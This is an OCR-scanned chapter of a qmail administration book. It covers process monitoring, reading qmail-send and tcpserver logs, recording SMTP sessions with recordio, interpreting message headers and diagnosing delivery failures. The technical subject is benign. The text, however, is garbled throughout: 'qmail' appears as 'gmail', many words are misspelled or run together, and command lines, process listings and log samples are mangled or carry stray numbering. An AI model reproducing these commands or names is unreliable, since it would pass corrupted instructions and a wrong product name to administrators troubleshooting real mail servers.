Although gmail is highly rdliable, problems do occasondly arise. The mail administrator should be able to analyze
them, determine who or what is responsible, and then resolve them if possible.

In most cases, problemswith mail delivery are because of misconfiguration, network connectivity issues, and mall
clients and serversthat are not standards-compliant. Problems dueto bugsin gmail arerare.

Thetoolsin the troubleshooter's toolbox include process monitoring, ogs, message headers, and testing.
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Overview
This chapter coversthefollowing:
| Firgt, well show how to verify that the gmail processesthat should be running are actualy running.
Next, well describe how to locate and interpret the log files created by gmail and the support processes.
Then, well also describe how to read message headers and extract diagnostic information from them.

Next, well directly test the gmaill SMTP service.

Findly, well look at severa typical problem scenarios and provide step-by-step procedures for identifying
their causes.
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Process M onitoring

If mail isn't flowing messages aren't coming in or going out thefirgt thing to do is verify that the long-lived gmail
processes are running. A properly functioning gmail ingtalation should dways have the following four processes.

gmail-send running as user gmails
gmail-clean running as user gmailq
gmail-rgpawn running as user gmailr
gmail-lspawn running as user root

Depending on your variation of Unix, one of the following two commands should list these processes, and possibly a
few more:

ps -ef | grep gnail
ps waux | grep gnail

For example:

# ps waux| grep qmai

r oot 847 0.1 1336 348 ? S 06: 19 0: 00 supervise gqmail -send

r oot 849 0.1 1336 348 ? S 06: 19 0: 00 supervise gmail -snt pd

gmai |l d 854 0.2 1408 512 ? S 06: 19 0: 00 /usr/local/bin/tcpserve

r -v-p-x/etc/tcp.sntp.cdb -¢c 20 -u 502 -g 5

gmail s 859 0.1 1392 408 ? S 06: 19 0: 00 gnmi | -send

gmai | | 861 0.1 1348 348 ? S 06: 19 0: 00 /usr/local/bin/multilog
t /var/l og/ gmai

gmai | | 863 0.1 1348 348 ? S 06: 19 0: 00 /usr/local/bin/multilog
t /var/log/gmail/sntpd

r oot 865 0.1 1348 360 ? S 06: 19 0: 00 gmail -1 spawn ./ Maildir/

gmai l r 866 0.1 1348 360 ? S 06: 19 0: 00 grai | - r spawn

gmai | q 867 0.1 1340 368 ? S 06: 19 0: 00 grai | -cl ean

r oot 962 0.2 1620 592 pts/O0 R 08: 06 0: 00 grep gmai l

#

If you run gmail-send or gmail-smtpd under supervise, asin the previous example, you should see those processes as
well. And if you run gmail-smtpd under tcpserver, you should see a parent tcpserver process plus an additiond
tcpserver process for each active incoming Simple Mail Transfer Protocol (SMTP) session.



If you use multilog (or splogger or cyclog) to handle logging, you'll have one or two of those processes running as
user gmaill.

Also, if gmail isbusy ddivering messageslocdly or remotely, you'll see up to concurrencylocal gmail-locd
processes and up to concurrencyremote gmail-remote processes.

If dl of the gmail-related processes ook normal, the next step isto check thelogs.

If some of the processes that should be running aren't, you'll have to determine why they're not running. If you've just
installed or reconfigured gmail, chances are good that you've made an error. Go back over your work and
double-check it for typographical errors and omitted steps.

After you've double-checked the configuration, make sure the services that start the processes are up and active.
With the gmailctl script, the stat function doesthis:

# gmail ctl stat

/service/gmail-send: up (pid 855) 2251 seconds
/service/qmail-send/|l og: up (pid 861) 2251 seconds
/service/qgmail-sntpd: up (pid 856) 2251 seconds
/service/gmail-sntpd/log: up (pid 864) 2251 seconds
nessages in queue: O

messages in queue but not yet preprocessed: 0O

#

Pay particular attention to the up times. Normally they'll all be within a couple of seconds of each other, and they
should be about aslong asit has been since the system was booted or gmail was started or restarted. If one or more
of them consstently show only afew seconds of up time, superviseis having trouble keeping the service running.
Again, thisisusudly dueto typographical errorsin run scripts or commands, or commands skipped completely. It
can aso be due to system-resource limitations such as insufficient memory. Double-check your work and check the
system logs and console for error messages.
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Under standing L ogs

The logs generated by gmail and its support programs are extremely valuable for troubleshooting awide range of
problems, including loca or remote ddivery fallures and delays, apparent ddivery to the wrong mailbox, and the
absence of long-running daemons.

To usethelogs, you'll need to know where they are, what format they'rein, and how to interpret their contents. The
ingtdlation determines the location and format of thelogs. If splogger isused for logging, /etc/sydog.conf tellsyou
which filg(s) contain thelogs. If multilog is used, the log run scripts (/service* /log/run or

Ivarlgmail/supervisel* llog/run) probably specify thelocation of thelogs.

multilog

multilog, which is part of the daemontools package, logs messagesto a series of filesin a specified directory.

Thelog directory is specified on the multilog command line, S0 you can find it by examining your /service/
servicename /log/run script or your gmail startup script.

The number of filesin thelog directory and the maximum size of each file are determined by multilog options. Thelog
filenames are the TA164 (Temps Atomique Internationa) timestamps (http://cr.yp.to/proto/utctai.html) of thetime at
which thefile was started. Thetai64nloca command, also from daemontools, converts TA164 timestampsinto locd,
human-readable timestamps.

A typicad multilog log entry lookslike:

@000000038c3eebl04a6ecf 4 delivery 153: success: did_1+0+0/

@4000000038c3eeh104a6ecf4 is the optional, but recommended, TAI64 time-stamp. The log message itsdlf is
ddivery 153: success. did_1+0+0.

splogger

splogger usesthe Sydog logging system to send messages to the Sydog daemon. Sydog is configured in
/etc/sydog.conf. Messages sent to Sydog have a facility and priority. Entriesin /etc/sydog.conf filter on the facility
and priority to direct the messagesto the desired log file, remote log host, or the console. splogger logsto the mall
facility by default, so greping the sydog.conf file for mail should show the disposition of gmail's log messages. For
exanple


http://cr.yp.to/proto/utctai.html
http://cr.yp.to/proto/utctai.html

# grep mail /etc/syslog.conf
# Log anything (except mail) of level info or higher

*_ info;mail.none;aut hpriv.none; cron. none /var /1 og/ messages
# Log all the mail messages in one place.

mail . * /var/1log/ maill og
# Save mail and news errors of level err and higher in a

#

Thefourth line of the output shows that messagesto the mall facility at al prioritiesarelogged to /var/log/maillog.

Typicd locationsinclude

Ivarllog/sydog

Naflog/maillog

Narladm/SY SLOG

A typical Sydog log entry lookslikethis:

Jun 3 11:35:23 sparge qmail: 928424123. 963558 del i very 153: success: did_1+0+0/

and meansthefollowing:

Jun 3 11:35:23 isthe Syd og timestamp.

sparge isthe name of the system that sent the message.

gmall: isthe tag splogger placeson dl gmalil log entries.

928424123.963558 isa TAI timestamp.

deivery 153: success. did_1+0+0/ isthelog message itsdif.



gmail-send L og M essages

Onceyou've located the logs, you'll haveto interpret them. The gmail-send logs are the most informative, showing
the detalls of every ddivery atempted.

Successful Delivery

Heresatypica log sequence for amessage sent to aremote system from the local system:

new nsg 93881

info nsg 93881: bytes 348 from <sonebody@xanpl e. con> gp 18458 uid 500
starting delivery 3975: nsg 93881 to renote dave@nuail . exanpl e. net

status: local 0/10 renote 1/20

del i very 3975: success:

10. 128. 133. 180_accept ed_nessage./ Renot e_host _sai d: _250 ok 989757358 qp_15460/
status: local 0/10 renmote 0/20

end nsg 93881

gabhwnN -

~N O

Line 1 indicatesthat gmail-send has received anew message, and its queue ID is 93881. The queue ID istheinode
number of the var/gmail/queue/mess/NINY/ file the queuefile that contains the message. The queue ID is guaranteed to
be unique as long as the message remainsin the queue.

Note
Inodes are structures that Unix usesto
store information about afile such as
the owner, group, access permissions
(mode), and modification and access
times, aswdll asthe contents of thefile
itself. Each inode has an identification
number unique to the file sysem. gmail
uses this uniqueness property to ensure
that its queue IDs are unique.

Line 2 saysthat the message is from somebody @example.com and is 348 byteslong. Note that thisisthe envelope
sender address, not the address listed in the From header field, which might be different.

Line 3 saysthat gmail-remoteis Sarting to ddiver the message to dave@gmail.example.net, and it'sassigning the ID
3975to the ddivery.

Line4 saysthat zero loca ddliveries and one remote delivery are pending. It also showsthat concurrencyloca is 10
and concurrencyremoteis 20.

Line5 saysthat delivery 3975 is complete and successful, and it returns the remote server's response, which often
containsinformetion that the remote site's mail administrator would find helpful in tracking the delivery. Inthis case,
the 989757358 is atimestamp and the gp_15460 is the remote system's delivery ID.



Line 6 saysthat no local deliveries and no remote ddliveries are pending; in other words, the ddivery iscomplete.

Line 7 saysthat the message has been ddlivered completely and removed from the queue. At this point, the queue
ID, 93881, isreusable for another delivery.

Unsuccessful Local Delivery

If addivery falsether temporarily or permanently gmail-send will log the reason for thefailure.

For example, if the mail adminigtrator tests delivery to anonexistent local user, gmail-send will log something like this:

new nsg 312428

info nmeg 312428: bytes 225 from <root @ol phi n. exanpl e.con> gp 1382 uid 0
starting delivery 1: msg 312428 to | ocal nosuchuser @ol phi n. exanpl e. com
status: local 1/10 renmote 0/20

delivery 1: failure: Sorry,_no_nail box_here_by_that_name. (#5.1.1)/
status: local 0/10 renmote 0/20

bounce msg 312428 gp 1385

end nsg 312428

O~NO OIS WNPF

Now line 5 saysfailureinstead of success, and the message contains the reason that the ddlivery failed: nosuchuser is
not avalid loca recipient (user or dias).

Line 7 shows that a bounce message is being generated. Line 8 would be followed by a series of entrieslogging the
delivery of the bounce message.

If thefailureistemporary, thelogswill ook likethis

new nsg 312429

info nsg 312429: bytes 224 from <root @ol phi n. exanpl e.con> qp 1477 uid 0O
starting delivery 13: nmsg 312429 to | ocal dave-test @ol phin. exanpl e. com
status: local 1/10 renote 0/20

delivery 13: deferral: please try again_|ater/

status: local 0/10 renmote 0/20

U WNPEP

Line 5 saysdeferrd, which indicates atemporary error, and logs the output from gmail-local
(please_try_again later), which wasthe output of a program delivery that exited with the code 111:

| echo "please try again later" &% exit 111

Because the delivery is gill pending, no end msgy 312429 entry islogged.

The ddivery will beretried periodicaly until queudifetime expires, at which point it will be tried once more before



being conddered a permanent failure.

Unsuccessful Remote Delivery

Remote ddivery failureslook likeloca ddivery falures.

new nsg 93887

info nsg 93887: bytes 946 from <root @or poi se. exanpl e. con> gp 5548 uid 49495
starting delivery 1866: nsg 93887 to renote root @ol phi n. exanpl e. com

status: local 0/10 renote 1/20

delivery 1866: failure:

Sorry, | _couldn't_find_any_host_naned_dol phi n. exanpl e.com _(#5.1. 2)/

status: local 0/10 renote 0/ 20

bounce msg 93887 gp 5550

8 end nsg 93887

abhwnN P
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Agan, line 5 indicates failure and shows the reason: The remote host isinvalid. And again line 7 shows that abounce
message is being generated.

tcpserver Log Messages

While gmail-send keeps adetailed record of its activity, gmail-smtpd does just the opposite: It does no logging
whatsoever. If you're serving SMTP using tcpserver, as recommended in Chapter 2, "Ingaling gmail,” youll at least
have arecord of connections and connection attempts.

Successful Connection

A successful connection to the SMITP port lookslikethis:

tcpserver: status: 1/20

tcpserver: pid 1418 from 192.168.1.4

tcpserver: ok 1418 exanpl e.com 192. 168. 1. 8: 25 exanpl e. net: 192. 168. 1. 4:: 4471
tcpserver: end 1418 status O

tcpserver: status: 0/20

GO~ wWNPEF

Line 1 showsthat one of the maximum of twenty connectionsisactive.

Line 2 shows that tcpserver has spawned process | D 1418 to handle the connection.

Line 3 shows that the connection was accepted by example.com, port 25 (SMTP), from example.net, port 4471.

Line 4 shows that the connection was terminated and gmail-smtpd exited with status O (zero), indicating success.



Line 5 shows that there are no active connections.
Unsuccessful Connection

An unsuccessful connection to the SMTP port lookslikethis:

1 tcpserver: status: 1/20

2 tcpserver: pid 1554 from 127.0.0.1

3 tcpserver: deny 1554 |ocal host:127.0.0.1:25 | ocal host:127.0.0. 1::32778
4 tcpserver: end 1554 status 25600

5 tcpserver: status: 0/20

Lines1 and 2 are smilar to those from a successful connection.
Line 3 shows that the connection was denied (deny) by localhogt, port 25, from localhost, port 32778.
Line 4 shows that the connection was terminated with an error (nonzero) status of 25600.

Interpreting the exit status beyond success/failureistricky. In this case, we know the connection failed because
accesswas denied (deny in line 3). If the connection isalowed (ok in line 3), but the status is nonzero, gmail-smtpd
exited with an error code. The most common cause of thisis the remote server sending amessage with "bare
linefeeds.”

To really seewhy gmail-smtpd isfailing, you'll need to record the SMTP did ogue with recordio (see the next section
).

Using recordioto Log SM TP Sessions

If tcpserver's connection logging isinsufficient for troubleshooting problemswith incoming SMTP sessions, you can
use the recordio utility from the ucspitcp package to record both sides of every sesson.

If you're running gmail-smtpd under tcpserver, as described in Chapter 2, "Ingtaling gmail," simply insert recordio on
the tcpserver command line right before the invocation of gmail-smtpd. For example, changethis:

exec /usr/local/bin/softlimt -m 2000000 \
/usr/local/bin/tcpserver -v -p -x /etc/tcp.sntp.cdb -¢c "$MAXSMIPD' \
-u "$QWAI LDUI D' -g "$NOFILESG@ D' O sntp /var/qgmail/bin/qgmil-sntpd 2>&1

tothis



exec /usr/local/bin/softlinmt -m 2000000 \
/usr/local/bin/tcpserver -v -p -x /etc/tcp.sntp.cdb -c "$MAXSMIPD" \
-u "$QVAI LDUI D' -g "$NOFILESA D' 0 sntp /usr/local/bin/recordio \
/var/qmail/bin/gmail-sntpd 2>&1

Next, tell superviseto restart the gmail-smtpd service:

# svc -t /service/qgmail-sntpd
#

Thelog of ashort SMTP session lookslikethis:

1 tcpserver: status: 1/20

2 tcpserver: pid 1619 from 192.168.1. 4

3 tcpserver: ok 1619 exanpl e.com 192. 168. 1. 8: 25 exanpl e. net: 192. 168. 1. 4: : 4552
4 1619 > 220 dol phi n. exanpl e. com ESMIP

5 1619 < hel o dude

6 1619 > 250 dol phi n. exanpl e. com

7 1619 < mail from <root @or poi se. exanpl e. net >

8 1619 > 250 ok

9 1619 < rcpt to: <postmast er @ol phin. exanpl e. conr

10 1619 > 250 ok

11 1619 < quit

12 tcpserver: end 1619 status O
13 tcpserver: status: 0/20

14 1619 > 221 dol phi n. exanpl e. com
15 1619 > [ ECH]

The recordio entries are intermingled with the tcpserver entries and are prefixed by the process 1D of recordio, 1619.
Lines sent by theloca gmail-smtpd are prefixed with greater-than signs (>), and lines received from the remote host
are prefixed with less-than signs (<). Lines 1 through 3 log the acceptance of the connection. Line 4 is gmail-smtpd
sending the SMTP greeting message. Lines 4 through 11 contain both sides of the SV TP diaogue, which is ended
before a message was injected perhaps the remote user was testing relaying or acceptability of the recipient address.
Inlines 12 and 13, tcpserver logs the termination of the connection. Lines 14 and 15 show gmail-smtpd's response to
the SMTP QUIT command.



Caution
Whilerecordio isin use, the tcpserver
logs grow dramatically faster than they
do when only connections are being
logged. If you're usng multilog, this
will cause your logsto rotate faster than
normd. If you're using splogger, this
canresult in huge log files perhapsfilling
up the file system that holdsthe logs.
It's best to enable recordio only during
brief test periods. Also, if you'relogging
usng splogger, theincreased logging
burden imposed by recordio can cause
sydogd to consume lots of processor
cycles. (See Chapter 2, "Indaling
gmall,” for information about Sydog
and multilog).

Extended M essage L ogging

The combination of message headers (see the next section, "Using Message Headers') and logsis usudly sufficient
for troubleshooting purposes. If further logging isrequired, it can be accomplished usng QUEUE _EXTRA.

QUEUE_EXTRA isacompile-time configuration variable that specifies an additiona recipient that will be added to
every ddivery. The dot-gmail file that handles the extrarecipient address can log everything up to and including the
entire message.

Touse QUEUE _EXTRA, edit extrah in the gmail source directory. Specify the additiond recipient in theformat " T
recipient\0",and the length of the QUEUE_EXTRA dtringin QUEUE_EXTRALEN (the\0 counts as one
character). For example:

#def i ne QUEUE_EXTRA "TI og\ 0"
#defi ne QUEUE_EXTRALEN 5

Shut down gmall if it'srunning. If you ingtaled the gmailctl script from Chapter 2, "Ingaling gmail," that can be done
by executing the following command:

# gmailctl stop

Stopping grail. . .
grmai | - smt pd
grmai | - send

#

If you don't have the gmailctl script, you should use your startup/shutdown script or send gmail-send aTERM signdl.

Then rebuild gmail usngthis



# make setup check
.lots of output

Next, populate /var/gmail/dias/.gmail-log with instructions to implement the logging you desire. For example, to log
only Message-1D fields, you could use something like this:

| awk "/7$/ { exit } /M mM[eE][sS][sS][aAl[gQ[eEl -/ { print }'

Findly, resart gmail:

# gmailctl start
Starting gmai
#

With the previous Message-I D logging enabled, atypica ddivery will look likethis:

new nsg 311925
info msg 311925: bytes 211 from <root @ol phi n. exanpl e. con> gp 8024 uid 0
starting delivery 1: msg 311925 to | ocal | og@iol phin.exanple.com
status: local 1/10 renote 0/ 20
starting delivery 2: nmsg 311925 to renote root @or poi se. exanpl e. com
status: local 1/10 renote 1/20
delivery 1. success: Message-
| D: _<20010603151810. 8023. grai | @lol phi n. exanpl e. con»/ di d_0+0+1/
status: local 0/10 renote 1/20
9 delivery 2: success:
192. 168. 1. 4_accept ed_nessage. / Renot e_host _sai d: _250_ok_991581345_qp_8830/
10 status: local 0/10 renote 0/20
11 end nsg 311925

~NOoO o~ wWNPRE
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Line 3 showstheinjection of the extra copy of the message. Line 7 shows the output of the delivery to "log," which
contains the Message-1D. Line 9 logs the actual remote delivery status.

Y ou could, of course, keep acopy of every message that passes through the system ssimply by specifying a mailbox
ddivery in var/gmail/diag.gmail-log, for example:

./ Mai |l og/

The.gmail-log file must not contain any delivery instructions that will inject more messages such asforwarding to
another address because those messages will aso belogged. Thiswill create aloop.



Caution

L ogging the contents of messages may
beillega in some aress. The legdity of
such logging might depend upon
whether users have been notified in
advance. Consult alocaattorney if
you're not sure. Regardless of the
legdity of logging message content, mail
adminigtrators should respect the
privacy of their users by logging only
what they need and keeping thelogs
accessible only to those who need
access.
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Using M essage Headers

Another vauable source of information in analyzing mail problemsisthe header of amessage. For the header to be
available, the message must have been successfully delivered, so this method will only be useful for answering
guestions such as where a message came from, which systemsiit passed through, or why it took so long to be
delivered.

Key Header Fields

Internet RFC-2822, Internet Message Format, defines and describes in detail the format of the basic message header
fields. Some, such as Ddlivered-To, are not standardized but are widdly used. Others, such asthe Multimedia
Internet Mail Extension (MIME) header fields are defined in other documents (see Appendix C, "An Internet Mal
Primer™).

Return-Path

The Return-Path field is optionally added by the Message Ddlivery Agent (MDA) at thetime of ddlivery. It records
the SMTP envel ope return path, or envel ope sender. It'sthe value specified by the sending SMTP clientinaMAIL
command. It may be the same asthe From field.

For example, if aremote client issues the following SMTP command:

MAI L FROM <r oot @lol phi n. exanpl e. con
The message might be ddlivered with the following Return-Peth fidd:

Ret ur n- Pat h: <r oot @lol phi n. exanpl e. con®

Delivered-To

The Ddlivered-To field is optiona ly added by the MDA at the time of delivery. It records the SMTP envelope
recipient. It's the value specified by the sending SMTP client inaRCPT command. It may be the same as one of the
addresseslisedinaTo or Ccfidd.

For example, if aremote client issues the following SMTP command:



RCPT TO <dave@par ge. exanpl e. conp

The message might be ddivered with the following Delivered-To field:

Del i ver ed- To: dave@par ge. exanpl e. com

A message may be delivered more than once before it reachesitsfina destination. Each of these intermediate
ddiveries may result in aseparate Ddlivered-To fidd. If multiple Delivered-To fields appear in aheader, they'relisted
in chronologica order with the most recent delivery being recorded in the last Delivered-To field.

Messages ddivered to gmail virtud domains and users go through multiple deliveries, but only thefina delivery is
recorded in aDdlivered-To field. For example, if control/virtuadomains contains

vi rtual . exanpl e.com al i as-vi rtual

A message delivered to martha@virtud .example.com will contain a Delivered-To fidd like this:

Del i vered-To: alias-virtual -martha@i rtual . exanpl e. com

This reflects the envel ope recipient address of the message when it was ddlivered, even though the original envelope
reci pient address was martha@virtua .example.com.

Received

Received fields are added by each Mail Transfer Agent (MTA) that handles amessage. Each Received field is added
before the previous Recelved field, if any, so they trace the path of the message through the Internet from sender to
recipient in reverse chronological order. The format of the Recelved header is

Recei ved: ([ nanme value] [comment])*; date-tine

In other words, an optional series of name/value pairs and comments followed by asemicolon (;) and a
date/timestamp. Common name/value pairsarelisted in Table 6-1.

Table 6-1: Recaved Fidd Name/VVaue Pairs

NAME VALUE

from Domain name of remote host

by Domain name of loca host




with Protocol used to transfer message, for example, "SMTP"

for Envel ope recipient address

id Locdl identifier

Useful information is also often included in the comments, which are enclosed in parentheses. Such information
includes | P addresses, MTA version numbers, process IDs, and user IDs.

A message sent from one gmail host to another will contain at least two Received fields. For example:

Recei ved: (gmail 8339 invoked fromnetwork); 3 Jun 2001 11:03:14 -0000
Recei ved: from dol phi n. exanpl e. com (HELO dol phi n. exanpl e. con) (192. 168. 1. 8)
by sparge. exanpl e.comw th SMIP; 3 Jun 2001 11:03:14 -0000

Thefirst Received field the most recent was added by gmail-queue. It records the processid (8339), notes that it
was invoked by anetwork service, and includes the current date and time in Greenwich Mean Time (GMT), as
indicated by the -0000 offset.

The second Received fidd thefirst, chronologically was added by gmail-smtpd. It records the sending host's domain
name (dol phin.example.com), the HEL O command sent by the sending host (HEL O dolphin.example.com), the
sending host's P address (192.168.1.8), the local host's domain name (sparge.example.com), the protocol used to
receive the message (SMTP), and the current date and time, againin GMT.

Note
gmail uses GMT, not thelocal time
zone, in header fields. It doesthis
primarily because calculating the local
time requires using bulky, often
unreligble or unsafe system libraries.
Thisisactudly something of a
convenience for the mail administrator
because messages often pass through
MTAsin different time zones. Logging
thetimein GMT savesthe
adminigtrator the trouble of converting
variousloca time zonesto acommon
zone,

Date

Date fields record the date and time of the message's creation. They're usualy added by the sender's MUA. They
often specify thelocd time zone, but gmail generally usesGMT.



For example, atypica Datefield added by gmail-inject lookslikethis:

Date: 3 Jun 2001 11:05:59 -0000

A Mail User Agent (MUA)-generated Date fiddd might look likethis:

Date: Thu, 31 May 2001 18: 43: 06 -0500 (CDT)

Notice that the date format varies, and the second example includes an offset from GMT of five hours (-0500), as
well asan acronym of thetime zone (CDT, meaning Central Daylight-savings Time).

M essage-I1 D

Message-1D fields contain asupposedly unique identifier for the message, usually generated by the sender's MUA or
MTA. Theformat of aMessage-ID fiddis:

Message-1 D <leftpart @i ghtpart >

The leftpart isusudly only guaranteed unigue on the sending system, and the rightpart isuniqueto the sending
system, often itsfully qudified domain name. The leftpart is often derived from atimestamp, process D, and/or
seria number, and might be hashed scrambled into a string of |etters and numbers.

Message-|Ds added by gmail-inject arein thisformat:

<tinmestanp. processi d. qmai | @ ocal - host >

For example, aMessage-1D fidd from agmail system might look likethis:

Message- | D. <20010603110559. 7877. qnai | @ol phi n. exanpl e. con»

Because this field was generated by gmail, we can interpret its contents. It was generated at 11:05:59 GMT on June
3, 2001, by process ID 7877 on dol phin.example.com.

From

The From field usudly contains the name and address of the sender of the message.

Thefdllowing aretypica Fromfidds



From root @ol phi n. exanpl e. com
From Sensei <bill @xanple.conr
From bill @xanple.com (Sensei Bill)

From "Sensei Bill" <bill @xanpl e. conp
Caution
Because the From fidld is specified by
the sender and is not subject to
authentication, it'seasly forged.
To

Tofiedsusudly identify the primary recipients of the message.

Thefallowing aretypica Tofidds

To: Sensei <ken@xanpl e. edu>
To: ken@xanpl e. edu, el ai na@xanpl e. net
To: "lsshinryu List" <isshinryu@i st.exanple.conp

Cc

Cc fields usudly identify secondary (*'carbon copy™) recipients of the message.

Thefollowing aretypicd Ccfidds

Cc: cl etet h@xanpl e. net
Cc: Sensei <cl et et h@xanpl e. net >
Cc: ken@xanpl e. edu, el ai na@xanpl e. net, bill @xanpl e. com

Resent-Fields

If amessageisre-injected by a user, for example, to forward it to another user, the origina Date, From, To, Cc, and
Message-1D fidlds may be preserved by prefixing Resent- to thefield name. For example, theorigina Tofield
becomes aResent-To fidld.

Example Header Analysis

Let'stake an example header from amessage that a user received from amailing list and see what we can tell about
its origin and passage through the Internet:



Ret ur n- Pat h: <owner - ext r opi ans@xanpl e. or g>
Del i ver ed- To: dave-|i st-extropi ans@par ge. exanpl e. com
Recei ved: (qmail 586 invoked fromnetwork); 8 May 2001 20:12:22 -0000
Recei ved: from unknown (HELO tick.exanple.net) (192.168.238.117)
by sparge. exanple.comw th SMIP; 8 May 2001 20:12:22 -0000
Recei ved: (from naj ordom@ ocal host)
by tick.exanple.net (8.9.3/8.9.3) id MAA23419
for extropians-outgoing; Tue, 8 May 2001 12:44:25 -0600
X- Aut henti cati on-Warni ng: tick.exanple.net: majordomset sender to owner-
ext ropi ans@xanpl e.org using -f
10 Date: Tue, 8 May 2001 11:44:20 -0700 (PDT)
11 From List Menber <user @sp.exanple.conp
12 Message-1d: <200105081844. LAA09754@ sp. exanpl e. conp
13 To: extropi ans@xanpl e.org
14 Subject: Extropian Principles
15 Sender: owner-extropi ans@xanpl e.org
16 Precedence: bul k
17 Reply-To: extropi ans@xanple.org
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The message was apparently send by user@isp.example.com (line 11) at 11:44:20 Pacific Daylight-savings Time on
May 8, 2001, (line 10) to the extropians@example.org mailing list (line 13).

The earliest Received fidld (line 6) indicates that the message was received by Sendmail verson 8.9.3 on
tick.example.net (line 7) for the local dias extropians-outgoing (line 8). The message was re-injected by the
Maordomo mailing list manager (line 6), which seemsto have stripped the received headers added previoudly.
Presumably example.net isan Internet Service Provider (I1SP) that hosts example.org. The timestamp on thisfield
(line 8) shows that the message was re-injected by Mg ordomo at 12:44:25, GMT-0600, probably Mountain
Daylight-savings Time, which isfive seconds after its crestion, assuming that the clocks were synchronized.

The next earliest Received fidd (line 4) was added by the recipient's MTA, in this case, it was gmail-smipd. The
envel ope return path of the message was owner-extropians@example.org, the owner of thelist (line1). The

envel ope recipient was dave-list-extropians@sparge.example.com (line 2). The message was received from ahost at
IP address 192.168.238.117, which was not successfully looked-up in the DNS, resulting in it being identified as
unknown. The remote system identified itself astick.example.net in the SMTP HEL O command. gmail-smtpd
received the message at 20:12:22 GMT (line 5), which is14:12:22 in GM T-0600, approximately 92 minutes after it
was injected on tick.example.net. Therecipient'sMTA is sparge.example.com, and the message was received via
SMTP (lineb).

gmail-inject, process 1D 586, received the message from gmail-smtpd within afraction of asecond (line5).

The processing of the message by gmail-send is recorded in the gmail-send logs.
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Testing

Chapter 2, "Ingaling gmail," coversthe generation of test messagesfor avariety of scenarios, including injection via
gmail-inject and SMTP.

A particularly powerful technique for testing network serviceslike SMTP, POP, and IMAPisaso touched uponin
Chapter 2: theuse of telnet to interact directly with aservice. By specifying aport number on the command line, one
can type protocol commands directly at aservice on alocal or remote host.

For example, to initiate an SMTP session with the locd hogt, use this command:

telnet 0 sntp
The telnet command will look up the port number for "smtp” in /etc/services.

The host address 0 (zero) is a shortcut for the | P address 0.0.0.0, which refersto the local host, and 25 isthe SMTP
port number.

Note
People often use localhost or the IP
address 127.0.0.1 to refer to the local
host. Thiswill work, too, provided that
the network serviceis configured to
listen to the "loopback™ interface, which
isusually the case. To be on the safe
Sde, though, use 0 (zero), which will
work if the serviceisligtening to any
locdl interface.

The telnet command will automatically send the appropriate line bresksfor the protocol, for example, trandating Unix
linefeed (LF) newlinesto SMTP carriage return-line feed (CR-LF) newlines. Y ou will, of course, haveto enter vaid
SMTP commandsin the proper sequence.

If you just want to verify that aserviceis running, you can initiate aconnection and break it without entering any
protocol commands. For example, to verify that the SMITP service on the loca host isactualy running:

$ telnet 0 25

Trying 0.0.0.0.

Connected to O.

Escape character is '"]'.

220 dol phi n. exanpl e. com ESMIP

"]



telnet> quit
Connection cl osed.
$

The connection was established (Connected to 0.) and the SMITP greeting was displayed (220 dolphin.example.com
ESMTP), so the SMTP sarviceis active. At this point, the user breaks the connection by entering the telnet escape
character ("]) by holding down the Control key, then pressing the right square bracket key and quitting.

The same technique can be used to check POP3 and IMAP services. See Chapter 10, "Serving Mailboxes" for
examples.

< Free Open Study >




< Free Open Study >

Fixing Common Problems

Now that you have atoolbox full of troubleshooting tools, let'slook a some common problems and see how you can
apply those tools to determine the cause of the problem.

Mail Not Delivered Locally or Remotely

Y ou discover that mail isnot being ddlivered to locd users or remote addresses. Y ou might have just ingtdled gmall
or reconfigured it, or maybeit's been up and running for some time and has suddenly stopped working. gmail iseither
not running a al, or isrunning, but failing to ddiver messages. In any case, do the following:

1

Verify that the gmail daemons are running. Seethe earlier " Process Monitoring™ section.

Check the gmail-send logs for error messages. See the earlier " Understanding Logs" section.

Mail Not Accepted from Remote Hosts

Y ou discover that messages sent locally to loca addresses are being delivered, but no mail is being accepted from
remote hogts.

The gmail-smtpd service may not be running, may not be accessible by remote hosts, your domain's mail exchanger
(MX) might not point to the correct system, your gmail may be misconfigured, your network may be unreachable, or
your domain's name service (DNS) might be misconfigured or down. In any of those cases, do the following:

1.

Verify thet the gmail-smtpd service isrunning. Seethe earlier " Tedting” section.

Verify that remote hosts can access the SMTP service. Conduct the SMITP service test from aremote
system. If it fails, SMTP traffic may be blocked by afirewal or denied by tcpserver (check /etc/tcp.smtp),
tcp.smtp.cdb may be missing unless you're using -X (dash capitd X) on the tcpserver command line or
concurrencyincoming could be set to O (zero).

Verify that your system is correctly configured in the DNS asthe M X for your domain.



Verify that your gmail system isaccepting mail for your domain. Seethe earlier " Testing” section. Inject a
message via SMTP that your system should accept and ddliver. If it rgjects the message, check
control/rcpthosts. If it accepts the message but doesn't deliver it, check the gmail-send logs.

Verify that your domain's name serviceisworking right.

Verify that your network can reach other networks.

Mail Not Delivered to L ocal User

Y ou discover that mail to one or moreloca usersisnot being delivered: It's either rejected immediately or remainsin
the queue.

The user doesn't exist or isn't avaid mail user, or ddlivery isfailing due to problems considered temporary. In any
case, do thefallowing:

1.
Check the gmail-send logs. Any time adelivery failsfor any reason permanent or temporary gmail-send
records the reason for thefailure.

2.
If the error message lookslikethis:
delivery 473: failure: Sorry,_no_mail box_here_by_that_name. (#5.1.1)/
then verify that the user exists and meetsthe criteriafor avalid mail user required by gmail-getpw (seethe
"Command Reference” section of Chapter 5).

3.

If the error message lookslikethis:

delivery 130: deferral: /bin/sh: _qgnail-porcnail:_conmmand_not found/

the problem isthat the addressis valid, but ddivery attempts arefailing. In this case, the user's .gmail file
contains atypographicd error.



If the error message looks like one of these:

deferral: Uh-oh: hone directory is witable. (#4.7.0)
deferral: Uh-oh: .gmail file is witable. (#4.7.0)

then verify that user home directory permissionsand .gmail file permissions do not contain any of the
permission bits excluded by the conf-patrn compile-time configuration variable. (See Chapter 2, "Indalling
gmail,” for moreinformation.)

5.
If the error message lookslikethis:
deferral: Hone directory is sticky: user is editing his .qmail file. (#4.2.1)
remove the sticky bit from the user's home directory using chmod -t homedir .

6.
If ivar/gmail/users/assign exists, check it to be sure that the user's mail isn't being redirected el sewhere. Also
examine usersexclude and users/include.

7.
Check /var/gmail/queue/lock/trigger. (See Appendix F, "Gotchas" for moreinformation.)

8.

Verify that concurrencylocal isnot set to O (zero).

Mail Not Delivered to Remote Address

Y ou discover that mail to local addressesisworking, but mail to remote addressesisn't being ddlivered.

The problem could be dueto user error, local configuration error, network outage, or remote configuration error. In
any case, do thefollowing:

1.

Check the gmail-send logs. If errors are being logged, they will explain the problem and you can andyzeit
further (go to step 2). If no errors are being logged, then delivery is either succeeding or being handled by
some other mechanism such as maildirsmtp, in which case you'll need to check the logs associated with that
mechanism.

